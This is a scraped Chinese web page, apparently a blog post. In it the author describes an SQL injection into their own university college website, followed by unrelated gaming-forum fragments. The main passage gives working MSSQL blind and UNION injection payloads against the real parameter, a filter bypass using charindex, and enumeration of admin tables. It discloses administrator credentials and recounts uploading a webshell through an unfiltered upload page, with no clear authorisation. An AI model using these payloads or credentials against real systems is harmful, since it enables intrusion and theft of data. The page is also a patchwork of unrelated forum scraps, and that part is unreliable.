找个基友英雄传帮忙点事情

当前位置: >
> 反哺母校第一弹(本科生学院蛋疼MSSQL注入点)这件事情的起因还是因为基友扔给我一个,我们学校的注
反哺母校第一弹(本科生学院蛋疼MSSQL注入点)这件事情的起因还是因为基友扔给我一个,我们学校的注
xiong & at
反哺母校第一弹(本科生学院蛋疼MSSQL注入点)  这件事情的起因还是因为基友扔给我一个,我们学校的注入点,一看是我们学校的页面一股反哺之情油然而生,当然要责无旁贷的搞一下
  注入点是这个
  ;flowsort=687PM100
  邪恶的注入点页面
  之前和网络中心的老师亲切洽谈,得知学校的网络中心结构大致是,一堆服务器采用真实ip,在网关处使用一个web防火墙来拦截与过滤大部分的来自web
  的攻击,但是主机本身的漏洞和内网方面的防护比较薄弱,但是这个web防火墙的确是很强大,在之后的检测后勤系统的时候遇到了一次,不过这个
  本科生学院的网站并不在网络中心的网络中,但是wvs等扫描工具依然被拦截了。
  言归正传来看这个注入点,do& action这种东西是MVC(Modle View Controller)的特征,一般是JSP框架Struts Spring Hibernate使用的东西,java源代码在后台
  被编译并生成Servlet,out.do模式的用户输入被框架拦截,在分发给相应的Servlet,所以相应页面在客户端是不可见的。
  具体的资料看这里
  昨天看了JSP多层架构好像有一个config文件泄露的漏洞,这里先留个坑。
  注入点应该是一个MSSQL的注入点,MSSQL提供了很多强大的系统函数,多行支持以及很强大的存储过程,注入点的利用方式很多
  1.字符串函数
长度与分析用
datalength(Char_expr) 返回字符串包含字符数,但不包含后面的空格
substring(expression,start,length) 不多说了,取子串
right(char_expr,int_expr) 返回字符串右边int_expr个字符
字符操作类
upper(char_expr) 转为大写
lower(char_expr) 转为小写
space(int_expr) 生成int_expr个空格
replicate(char_expr,int_expr)复制字符串int_expr次
reverse(char_expr) 反转字符串
stuff(char_expr1,start,length,char_expr2) 将字符串char_expr1中的从
start开始的length个字符用char_expr2代替
ltrim(char_expr) rtrim(char_expr) 取掉空格
ascii(char) char(ascii) 两函数对应,取ascii码,根据ascii吗取字符
字符串查找
charindex(char_expr,expression) 返回char_expr的起始位置
patindex(&%pattern%&,expression) 返回指定模式的起始位置,否则为0
2.数学函数
abs(numeric_expr) 求绝对值
ceiling(numeric_expr) 取大于等于指定值的最小整数
exp(float_expr) 取指数
floor(numeric_expr) 小于等于指定值得最大整数
pi() 3.1415926.........
power(numeric_expr,power) 返回power次方
rand([int_expr]) 随机数产生器
round(numeric_expr,int_expr) 安int_expr规定的精度四舍五入
sign(int_expr) 根据正数,0,负数,,返回+1,0,-1
sqrt(float_expr) 平方根
3.日期函数
getdate() 返回日期
datename(datepart,date_expr) 返回名称如 June
datepart(datepart,date_expr) 取日期一部份
datediff(datepart,date_expr1.dateexpr2) 日期差
dateadd(datepart,number,date_expr) 返回日期加上 number
上述函数中datepart的
写法 取值和意义
mm 1-12 月
dy 1-366 日
dd 1-31 日
wk 1-54 周
dw 1-7 周几
hh 0-23 小时
mi 0-59 分钟
ss 0-59 秒
ms 0-999 毫秒
4.系统函数
suser_name() 用户登录名
user_name() 用户在数据库中的名字
user 用户在数据库中的名字
show_role() 对当前用户起作用的规则
db_name() 数据库名
object_name(obj_id) 数据库对象名
col_name(obj_id,col_id) 列名
col_length(objname,colname) 列长度
valid_name(char_expr) 是否是有效标识符
  由于是一个无返错的注入点,一位一位的猜了一下,得到了用户名,数据库名等信息,权限是DB_owner
  初步的思想是通过sysobjects和syscolumns,强行跑出表名,字段名与数据,
  默认情况下,MSSQL有一个master数据库,里面的sysdatebases表存有所有的数据库名
  每个数据库里面都有一个sysobjects表保存了所有的数据表,详细解释见如下网址
  整理了一下MSSQL盲注所使用的注入语句
  稍微说一下select as的用处是给字段创建一个别名,多用于多表查询,有相同字段的情况
  select into 可以创建件一个新表,并把查询内容赋给这个表 类似 select * into newtable where tabel
  inner join 是一个叫做内连接的东西,类似 select * from table_1 inner join table_2 on *
  执行效果其实与 select * from table_1,table_2 where where * &一样
  在where被过滤的时候,可以考虑用它来绕过
  select * from master.dbo.sysdatabases where dbid&5
select * from test.dbo.sysobjects where xtype=U
select * from test.dbo.syscolumns where id=5575058
select a.name from test.dbo.sysobjects as a inner join test.dbo.syscolumns as b on a.id=b.id where a.xtype=U and b.name like type%
select * from test.dbo.syscolumns where id=object_id(test.dbo.test1)
select * from test.dbo.admin
and len((select top 1 username from test.dbo.admin))=3
and (ascii(substring((select top 1 username from Com.dbo.admin admin not in ('admin')),1,1)))=97
  更详细的MSSQL注入语句
下面准备暴力猜解,试了几个工具都不行,自己手工编写了python脚本,跑短的数据还行,海量数据会出现各种不稳定的情况。
  在高手的指点下使用了UNION,不用不知道,一用还真灵,爆管理员密码不费劲~
  首先猜一下字段个数,有些数据库不能智能识别int 与 string类型比如MSSQL,这里先用null代替
  之后再一位一位的猜测类型
  ;flowsort=687PM100';create%20table%20test1(id%20int)--
;flowsort=687PM100'%20union%20all%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from test1--
;flowsort=687PM100'%20and%201=2%20union%20all%20select%201,2,3,'4','5','6','7',8,9,'10',11,'12','13','14',15,16,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37%20from%20test1 --得到字段的数量和类型,下面就是猜测数据表的名字了
  一开始我想到的是用select like的方法可是%被过滤了,这时机友大神又及时出现,提供了charindex()函数
  这里information_schema.tables 与 sysobjects大致相同,不同点是,information_schema是一个单独的数据库,里面存放了其他库的所有信息
  而sysobjects是一个数据库表,每个数据库中有一个存储自己的表的信息,而且会包含系统表,加上xtype=‘U’就好
  ;flowsort=687PM100'%20and%201=3%20union%20all%20select%20 1,2,3,'4','5',table_name,'7',8,9,'10',11,'12','13','14',15,16,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37%20from%20information_schema.tables where
charindex('admin',table_name)&0--  ;flowsort=687PM100'%20and%201=3%20union%20all%20select%20 1,2,3,'4','5',name,'7',8,9,'10',11,'12','13','14',15,16,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37%20from%20sysobjects where &charindex('admin',name)&0 and xtype='U' --
一番查找之后找到了那么几个可疑表
  关于admin的表
('t_glzx_admin','t_zxdc_Admins')
关于user的表 ('t_forum_user','t_out_user','t_user_content')
找字段名的方法和上面类似
  ;flowsort=687PM100' and 1=3 union all select
1,2,3,'4','5',column_name,'7',8,9,table_name,11,'12','13','14',15,table_schema,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37 from information_schema.columns where table_name='t_glzx_admin'
使用sysobject 方法类似,只不过使用到object_id这个函数
  ;flowsort=687PM100' and 1=3 union all select
1,2,3,'4','5',name,'7',8,9,'10',11,'12','13','14',15,'16',17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37 from syscolumns where id=object_id('t_zxdc_Admins')--
  有了表名和字段名,得到数据就不是问题了,在这几个表里面找了一下,终于找到了管理员密码
  t_zxdc_Admins :('Admname','admpwd')
Admname : 1
t_glzx_admin : ('id','admin','password','entertime')
:administrator
password :MQ==
管理员账号在此
t_user_content
: ('id','userid','userenglishid','user_password','user_name','bsys','slms')
userenglishid:administrator
user_password:hitucadmin2011
数据库中的密码使用了base64加密
进入后台是这个样子
  后台看了一下,存在一个没有过滤任何后缀的上传页面
  直接上传一句话,在上传大马,拿到shell了,jsp的马在不同JDK版本下会产生错误,有点蛋疼。
  在WEB-INF目录下下载了struts-config.xml,看来是一个struts架构的网站。
  找到了manager.do viewType=newsdetail的转跳页面
  &forward name=&newsdetail& path=&/content/newsdetail.jsp& /&找到了这个目录发现,这个网站是由&伊春市体育信息网 这个模板修改而来,但是因为,对于structs的架构不算特别了解,没有找到
  具体出现漏洞的语句,这里先留个坑。
本问题标题:
本问题地址:
温馨提示:本问题已经关闭,不能解答。
暂无合适的专家
&&&&&&&&&&&&&&&
希赛网 版权所有 & &&&&湘教QS2-164&&增值电信业务经营许可证湘B2-找一个好基友招募玩魔兽世界!一年多没玩过了,每晚七点后能在线玩到十二点,我主招…大概三四天能升九十级吧!!
(掌院学士)
新鲜的血液 永恒的荣耀!
(掌院学士)
可输入10000个汉字
上传图片:
[经验值&50可以上传图片]
可输入50个汉字
同类未解决问题
同类已解决问题【求实话】来个基友开2黑,另外我再说点事情。_天翼决吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0可签7级以上的吧50个
本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:287,750贴子:
【求实话】来个基友开2黑,另外我再说点事情。
杰哥你到底要那号不?
不就1000吗?
搞的我水我朋友你很高兴?   看在我的面子上才开一千的价   而且什么都准备好了。  你到好直接不鸟我。  
相关的贴子26680937273相关的图贴
爪机没电了昨天
╮(╯▽╰)╭
目测楼主是一位有备胎经历的少年
我到说你在yy说啥,原来是这个
母测楼主是位非常有阅历的骚年
我要买大翅膀号~~~~
来组我嘛。
内&&容:使用签名档&&
保存至快速回贴
为兴趣而生,贴吧更懂你。&或请问下一区的格瑞姆巴托现在排队吗? 我们四个好基友跟工会因为一点事情闹翻了想转服!找来找去只有这个_百度知道
请问下一区的格瑞姆巴托现在排队吗? 我们四个好基友跟工会因为一点事情闹翻了想转服!找来找去只有这个
请问下一区的格瑞姆巴托现在排队吗?我们四个好基友跟工会因为一点事情闹翻了想转服!找来找去只有这个服务器平衡!
您的回答被采纳后将获得:
系统奖励20(财富值+经验值)+难题奖励20(财富值+经验值)
我有更好的答案
现在大部分都AFK了你怎么确定它就平衡。我现在在一区冰风岗部落。要等20号后都回归了才知道,部落联盟3。更新后上线都要排队
其他类似问题
为您推荐:
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁Sina Visitor System

我要回帖

 

随机推荐